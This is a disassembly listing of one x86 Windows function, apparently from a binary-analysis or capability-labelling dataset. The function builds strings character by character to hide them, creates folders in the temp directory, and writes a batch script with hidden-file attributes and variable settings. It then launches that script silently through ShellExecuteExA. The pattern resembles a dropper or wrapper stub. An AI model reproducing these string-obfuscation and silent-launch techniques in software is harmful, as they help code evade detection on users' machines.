Function at 0x401015
Capabilities:
Create directory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x37790
call fcn.004044d0
push edi
mov al, byte [0xf0a954]
mov byte [ebp - 0x6688], al
xor ecx, ecx
mov dword [ebp - 0x6687], ecx
mov dword [ebp - 0x6683], ecx
mov dword [ebp - 0x667f], ecx
mov byte [ebp - 0x667b], cl
mov dl, byte [0xf0a958]
mov byte [ebp - 0x37628], dl
mov ecx, 0xc34f
xor eax, eax
lea edi, [ebp - 0x37627]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0xf0a95c]
mov byte [ebp - 0x6678], al
mov ecx, 0x1869
xor eax, eax
lea edi, [ebp - 0x6677]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov cl, byte [0xf0a960]
mov byte [ebp - 0x104], cl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dl, byte [0xf0a964]
mov byte [ebp - 0x37790], dl
mov ecx, 0x59
xor eax, eax
lea edi, [ebp - 0x3778f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x6794], 0
mov dword [ebp - 0x689c], 0
mov dword [ebp - 0x68b4], 0
mov dword [ebp - 0x6790], 0
mov al, byte [0xf0a968]
mov byte [ebp - 0x490], al
mov ecx, 0x59
xor eax, eax
lea edi, [ebp - 0x48f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov cl, byte [0xf0a96c]
mov byte [ebp - 0x208], cl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x207]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dl, byte [0xf0a970]
mov byte [ebp - 0x6898], dl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x6897]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0xf0a974]
mov byte [ebp - 0x678c], al
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x678b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov cl, byte [0xf0a978]
mov byte [ebp - 0x314], cl
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x313]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dl, byte [0xf0a97c]
mov byte [ebp - 0x68e4], dl
mov ecx, 9
xor eax, eax
lea edi, [ebp - 0x68e3]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, byte [0xf0a980]
mov byte [ebp - 0x68b0], al
xor ecx, ecx
mov dword [ebp - 0x68af], ecx
mov dword [ebp - 0x68ab], ecx
mov dword [ebp - 0x68a7], ecx
mov dword [ebp - 0x68a3], ecx
mov word [ebp - 0x689f], cx
mov byte [ebp - 0x689d], cl
mov dword [ebp - 0x328], 0
mov dword [ebp - 0x320], 0
mov dword [ebp - 0x210], 0
mov dword [ebp - 0x31c], 0
mov dword [ebp - 0x20c], 0
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x324], 0
mov dword [ebp - 0x68bc], 0
mov dword [ebp - 0x68e8], 0
mov dword [ebp - 0x68b8], 0
mov dword [ebp - 0x494], 0
push 0x104
push 0xf07bc8
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 0x6794], eax
mov edx, dword [ebp + 8]
push edx
push 0xf05e68
call fcn.00404360
add esp, 8
push 0xf07bc8
call fcn.00404450
add esp, 4
mov dword [ebp - 0x6794], eax
jmp 0x401286
mov eax, dword [ebp - 0x6794]
sub eax, 1
mov dword [ebp - 0x6794], eax
cmp dword [ebp - 0x6794], 1
jle 0x4012d9
push 1
mov ecx, dword [ebp - 0x6794]
push ecx
push 0xf07bc8
call fcn.00403efd
add esp, 0xc
push eax
call fcn.00403e99
add esp, 4
cmp eax, 0x5c
jne 0x4012d7
mov edx, dword [ebp - 0x6794]
push edx
push 0xf07bc8
call fcn.0040402a
add esp, 8
push eax
push 0xf08f50
call fcn.00404360
add esp, 8
jmp 0x4012d9
jmp 0x401277
push 0x53
call fcn.00403e3d
add esp, 4
push eax
push 0xf0a4e8
call fcn.00404360
add esp, 8
push 0x61
call fcn.00403e3d
add esp, 4
push eax
push 0xf0a4e8
call fcn.00404370
add esp, 8
push 0x74
call fcn.00403e3d
add esp, 4
push eax
push 0xf0a4e8
call fcn.00404370
add esp, 8
push 0x69
call fcn.00403e3d
add esp, 4
push eax
push 0xf0a4e8
call fcn.00404370
add esp, 8
push 0x76
call fcn.00403e3d
add esp, 4
push eax
push 0xf0a4e8
call fcn.00404370
add esp, 8
push 0x61
call fcn.00403e3d
add esp, 4
push eax
push 0xf0a4e8
call fcn.00404370
add esp, 8
push 0x53
call fcn.00403e3d
add esp, 4
push eax
push 0xf0a4e8
call fcn.00404370
add esp, 8
push 0x6d
call fcn.00403e3d
add esp, 4
push eax
push 0xf0a4e8
call fcn.00404370
add esp, 8
push 0x6f
call fcn.00403e3d
add esp, 4
push eax
push 0xf0a4e8
call fcn.00404370
add esp, 8
push 0x6b
call fcn.00403e3d
add esp, 4
push eax
push 0xf0a4e8
call fcn.00404370
add esp, 8
push str._____58295
push 0xf0a4f4
call fcn.00404360
add esp, 8
mov dword [ebp - 0x6794], 1
jmp 0x4013f6
mov eax, dword [ebp - 0x6794]
add eax, 1
mov dword [ebp - 0x6794], eax
cmp dword [ebp - 0x6794], 0xb
jge 0x40142d
push 1
mov ecx, dword [ebp - 0x6794]
push ecx
push 0xf0a4e8
call fcn.00403efd
add esp, 0xc
push eax
call fcn.00403e99
add esp, 4
mov edx, dword [ebp - 0x6794]
mov dword [edx*4 + 0x40cdac], eax
jmp 0x4013e7
mov dword [ebp - 0x6794], 0
push 0xf0a984
push 0xf047c4
call fcn.00404360
add esp, 8
push 0xf0a988
lea eax, [ebp - 0x208]
push eax
call fcn.00404360
add esp, 8
push 0xf047c4
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0x494], eax
mov ecx, dword [ebp - 0x494]
push ecx
push 0xf047c4
call fcn.0040402a
add esp, 8
push eax
push 0xf047c4
call fcn.00404360
add esp, 8
push 0x72
call fcn.00403e3d
add esp, 4
push eax
push 0x65
call fcn.00403e3d
add esp, 4
push eax
push 0x64
call fcn.00403e3d
add esp, 4
push eax
push 0x6c
call fcn.00403e3d
add esp, 4
push eax
push 0x6f
call fcn.00403e3d
add esp, 4
push eax
push 0x66
call fcn.00403e3d
add esp, 4
push eax
push 0x61
call fcn.00403e3d
add esp, 4
push eax
push 0xf047c4
push 0x40c03c
push 0xf049cc
call fcn.004042ff
add esp, 0x28
push 0
push 0xf049cc
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x6794], eax
push 0x70
call fcn.00403e3d
add esp, 4
push eax
push 0x6d
call fcn.00403e3d
add esp, 4
push eax
push 0x74
call fcn.00403e3d
add esp, 4
push eax
push 0x7a
call fcn.00403e3d
add esp, 4
push eax
push 0xf047c4
push 0x40c050
push 0xf048c8
call fcn.004042ff
add esp, 0x1c
push 0
push 0xf048c8
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x6794], eax
mov dword [ebp - 0x6794], 0
push 0x40c05c
push 4
call fcn.00403adf
add esp, 4
push eax
push 0x40c064
push 0xf048c8
push 0x40c068
push 0xf0a2dc
call fcn.004042ff
add esp, 0x18
push 0x40c074
push 5
call fcn.00403adf
add esp, 4
push eax
push 0x40c07c
push 0xf048c8
push 0x40c080
push 0xf0a3e0
call fcn.004042ff
add esp, 0x18
push str..bat
push 1
call fcn.00403adf
add esp, 4
push eax
push 0x40c094
push 0xf048c8
push str._s_s_s_s
push 0xf04ae0
call fcn.004042ff
add esp, 0x18
push 0xf04ae0
push 0xf071f0
call fcn.00404360
add esp, 8
push 0xf0a98c
lea edx, [ebp - 0x104]
push edx
call fcn.00404360
add esp, 8
push str..exe
push 2
call fcn.00403adf
add esp, 4
push eax
push 0x40c0ac
lea eax, [ebp - 0x104]
push eax
call fcn.004042ff
add esp, 0x10
lea ecx, [ebp - 0x104]
push ecx
push 0x40c0b4
push 0xf048c8
push str._s_s_s
push 0xf072f4
call fcn.004042ff
add esp, 0x14
mov edx, dword [ebp + 8]
push edx
push 0x20
call fcn.00403e3d
add esp, 4
push eax
push 0x22
call fcn.00403e3d
add esp, 4
push eax
push 0xf07bc8
push 0x22
call fcn.00403e3d
add esp, 4
push eax
push str._s_s_s_s_s
push 0xf04ae0
call fcn.004042ff
add esp, 0x1c
push 0x73
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x678c]
push eax
call fcn.00404360
add esp, 8
push 0x65
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x678c]
push ecx
call fcn.00404370
add esp, 8
push 0x74
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x678c]
push edx
call fcn.00404370
add esp, 8
push 0x20
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x678c]
push eax
call fcn.00404370
add esp, 8
push 0x7a
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x678c]
push ecx
call fcn.00404370
add esp, 8
push 0x74
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x678c]
push edx
call fcn.00404370
add esp, 8
push 0x6d
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x678c]
push eax
call fcn.00404370
add esp, 8
push 0x70
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x678c]
push ecx
call fcn.00404370
add esp, 8
push 0x3d
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x678c]
push edx
call fcn.00404370
add esp, 8
push 0x73
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x314]
push eax
call fcn.00404360
add esp, 8
push 0x65
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x314]
push ecx
call fcn.00404370
add esp, 8
push 0x74
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x314]
push edx
call fcn.00404370
add esp, 8
push 0x20
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x314]
push eax
call fcn.00404370
add esp, 8
push 0x4d
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x314]
push ecx
call fcn.00404370
add esp, 8
push 0x59
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x314]
push edx
call fcn.00404370
add esp, 8
push 0x46
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x314]
push eax
call fcn.00404370
add esp, 8
push 0x49
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x314]
push ecx
call fcn.00404370
add esp, 8
push 0x4c
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x314]
push edx
call fcn.00404370
add esp, 8
push 0x45
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x314]
push eax
call fcn.00404370
add esp, 8
push 0x53
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x314]
push ecx
call fcn.00404370
add esp, 8
push 0x3d
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x314]
push edx
call fcn.00404370
add esp, 8
push 0xf048c8
lea eax, [ebp - 0x678c]
push eax
push 0x40c0cc
lea ecx, [ebp - 0x208]
push ecx
call fcn.004042ff
add esp, 0x10
push 0xf049cc
lea edx, [ebp - 0x314]
push edx
push 0x40c0d4
lea eax, [ebp - 0x6898]
push eax
call fcn.004042ff
add esp, 0x10
push 0x73
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x678c]
push ecx
call fcn.00404360
add esp, 8
push 0x65
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x678c]
push edx
call fcn.00404370
add esp, 8
push 0x74
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x678c]
push eax
call fcn.00404370
add esp, 8
push 0x20
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x678c]
push ecx
call fcn.00404370
add esp, 8
push 0x62
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x678c]
push edx
call fcn.00404370
add esp, 8
push 0x66
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x678c]
push eax
call fcn.00404370
add esp, 8
push 0x63
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x678c]
push ecx
call fcn.00404370
add esp, 8
push 0x65
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x678c]
push edx
call fcn.00404370
add esp, 8
push 0x63
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x678c]
push eax
call fcn.00404370
add esp, 8
push 0x3d
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x678c]
push ecx
call fcn.00404370
add esp, 8
push 0x61
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x68e4]
push edx
call fcn.00404360
add esp, 8
push 0x74
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x68e4]
push eax
call fcn.00404370
add esp, 8
push 0x74
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x68e4]
push ecx
call fcn.00404370
add esp, 8
push 0x72
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x68e4]
push edx
call fcn.00404370
add esp, 8
push 0x69
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x68e4]
push eax
call fcn.00404370
add esp, 8
push 0x62
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x68e4]
push ecx
call fcn.00404370
add esp, 8
push 0x20
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x68e4]
push edx
call fcn.00404370
add esp, 8
push 0x2b
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x68e4]
push eax
call fcn.00404370
add esp, 8
push 0x68
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x68e4]
push ecx
call fcn.00404370
add esp, 8
push 0x20
call fcn.00403e3d
add esp, 4
push eax
lea edx, [ebp - 0x68e4]
push edx
call fcn.00404370
add esp, 8
push 0xf048c8
lea eax, [ebp - 0x68e4]
push eax
push 0x40c0dc
lea ecx, [ebp - 0x37790]
push ecx
call fcn.004042ff
add esp, 0x10
push 0xf0a990
push 0xf073f8
call fcn.00404360
add esp, 8
push 0x30
call fcn.00403e3d
add esp, 4
push eax
push 0x2f
call fcn.00403e3d
add esp, 4
push eax
push 0x20
call fcn.00403e3d
add esp, 4
push eax
push 0x54
call fcn.00403e3d
add esp, 4
push eax
push 0x46
call fcn.00403e3d
add esp, 4
push eax
push 0x49
call fcn.00403e3d
add esp, 4
push eax
push 0x48
call fcn.00403e3d
add esp, 4
push eax
push 0x53
call fcn.00403e3d
add esp, 4
push eax
push str._s_s_s_s_s_s_s_s
lea edx, [ebp - 0x68b0]
push edx
call fcn.004042ff
add esp, 0x28
push 0xa
call fcn.00403e3d
add esp, 4
push eax
push 0xd
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x68b0]
push eax
push 0xa
call fcn.00403e3d
add esp, 4
push eax
push 0xd
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x104]
push ecx
lea edx, [ebp - 0x678c]
push edx
push 0xa
call fcn.00403e3d
add esp, 4
push eax
push 0xd
call fcn.00403e3d
add esp, 4
push eax
lea eax, [ebp - 0x6898]
push eax
push 0xa
call fcn.00403e3d
add esp, 4
push eax
push 0xd
call fcn.00403e3d
add esp, 4
push eax
lea ecx, [ebp - 0x208]
push ecx
push 0xa
call fcn.00403e3d
add esp, 4
push eax
push 0xd
call fcn.00403e3d
add esp, 4
push eax
push str._echo_off
push str._s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s
push 0xf073f8
call fcn.004042ff
add esp, 0x48
call fcn.00401d85
mov dword [ebp - 0x4d0], 0x3c
mov dword [ebp - 0x4c0], 0xf071f0
mov dword [ebp - 0x4cc], 0x40
mov dword [ebp - 0x4c8], 0
mov dword [ebp - 0x4c4], str.open
mov dword [ebp - 0x4bc], 0xf04ae0
mov dword [ebp - 0x4b8], 0
mov dword [ebp - 0x4b4], 0
mov dword [ebp - 0x4b0], 0x1d
lea edx, [ebp - 0x4d0]
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
cmp dword [ebp - 0x498], 0
je 0x401ce2
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0xffffffffffffffff
mov eax, dword [ebp - 0x498]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x498]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0xf04ad8], 1
jne 0x401d33
mov dword [ebp - 0x6794], 0
jmp 0x401d06
mov edx, dword [ebp - 0x6794]
add edx, 1
mov dword [ebp - 0x6794], edx
mov eax, dword [0xf04adc]
sub eax, 2
cmp dword [ebp - 0x6794], eax
jge 0x401d33
mov ecx, dword [ebp - 0x6794]
imul ecx, ecx, 0x3e8
add ecx, 0x40cddc
push ecx
call fcn.004042d5
add esp, 4
jmp 0x401cf7
mov edx, dword [0xf04adc]
sub edx, 2
mov dword [ebp - 0x6794], edx
jmp 0x401d53
mov eax, dword [ebp - 0x6794]
add eax, 1
mov dword [ebp - 0x6794], eax
mov ecx, dword [ebp - 0x6794]
cmp ecx, dword [0xf04adc]
jge 0x401d7e
mov edx, dword [ebp - 0x6794]
imul edx, edx, 0x3e8
add edx, 0x40cddc
push edx
call fcn.004042d5
add esp, 4
jmp 0x401d44
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret